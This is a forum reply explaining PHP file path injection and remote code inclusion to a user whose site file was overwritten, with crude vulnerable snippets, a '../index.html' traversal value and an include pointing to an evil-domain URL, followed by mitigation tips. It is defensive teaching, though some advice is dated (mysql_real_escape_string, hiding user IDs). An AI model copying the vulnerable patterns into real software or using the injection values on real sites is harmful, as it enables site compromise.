Heya, Tarantulus.
If a file has been overwritten, you might have suffered from a file path injection attack.
Quick example:
-
move_uploaded_file($_FILES['upload']['tmp_name'], $_SERVER['DOCUMENT_ROOT'] . '/uploads/' . $_FILES['upload']['name']);
-
If the value of $_FILES['upload']['name'] is "../index.html" for example, your file might get overwritten.
To protect against file path injection, use realpath() (
http://php.net/realpath) and do a strpos() against a known good directory.
Also, any script that include()'s or eval()'s User input can be compromised.
For example (and a very crude one, but bear with me):
-
include $_GET['script_name'] . '.php';
-
If the value of $_GET['script_name'] is 'http://some-evil-domain.com/evil/script', then you'd be
lucky if all that happened was your static index got rewritten!
To protect yourself against PHP code injection, you should get in the following habits:
- Never ever ever trust input, no matter where it comes from. If it's supposed to be an int, cast it (http://php.net/manual/en/language.ty...e-juggling.php). If it's supposed to be a string, run it through a switch or in_array() to ensure that only "safe" values make it through.
- Don't trust data from your database, either. If an attacker manages to inject any malicious code into your database, you have to be able to detect it. If you can, trigger some kind of alert when you encounter an attack that originates from database data, as you will have a much easier time tracing an attack if you know what script probably put it there.
- Always escape output. If it's going to the database, run it through mysql_real_escape_string() (http://php.net/mysql_real_escape_string). If it's going to be sent to the browser, use htmlentities() (http://php.net/htmlentities).
- Never send ID numbers to the browser. The User's ID might be e.g., 428, but you should never send the browser to profile.php?user=428. Use his (unique) username instead and send the browser to profile.php?user=mickeyc. Best Buy got in trouble for this.
I bring up that last point because a crafty hacker might not be able to crack your login page, but if you rely on a User ID coming from the browser somewhere, then he might be able to use that to execute a script as, say, an Admin User.